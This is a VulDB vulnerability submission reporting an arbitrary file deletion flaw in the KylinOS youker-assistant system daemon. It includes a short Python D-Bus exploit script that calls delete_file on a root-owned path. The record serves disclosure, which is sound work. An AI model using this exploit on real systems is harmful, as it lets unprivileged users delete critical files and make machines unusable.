| 标题 | Kylin OS youker-assistant arbitrary file delete vuln |
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| 描述 | Report
Describe
youker-assistant is an integrated tool on KylinOS Desktop to help perform daily system maintenance tasks. The delete_file in this program has an arbitrary file deletion vulnerability, which can cause the system to be unavailable.
Hazard level
High
Affected version
youker-assistant < 3.0.2-0kylin6k70-23
POC&&EXP
ISO Download:
https://distro-images.kylinos.cn:8802/web_pungi/download/share/HXDYtGjZm3daA4UvOTLkiPl1nB9ErM0c/
exploit.py
import dbus
filepath = "/root/test"
bus = dbus.SystemBus()
obj = bus.get_object('com.kylin.assistant.systemdaemon','/com/kylin/assistant/systemdaemon')
obj.delete_file(filepath,dbus_interface = 'com.kylin.assistant.systemdaemon') |
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| 来源 | ⚠️ https://github.com/i900008/vulndb/blob/main/kylinos_vul4.md |
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| 用户 | Set3r.Pan (UID 28571) |
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| 提交 | 2023-05-22 09時38分 (3 年前) |
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| 管理 | 2023-06-05 07時08分 (14 days later) |
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| 状态 | 已接受 |
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| VulDB条目 | 230689 [KylinSoft youker-assistant 以前 3.0.2-0kylin6k70-23 于 KylinOS Arbitrary File dbus.SystemBus delete_file 权限提升] |
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| 积分 | 20 |
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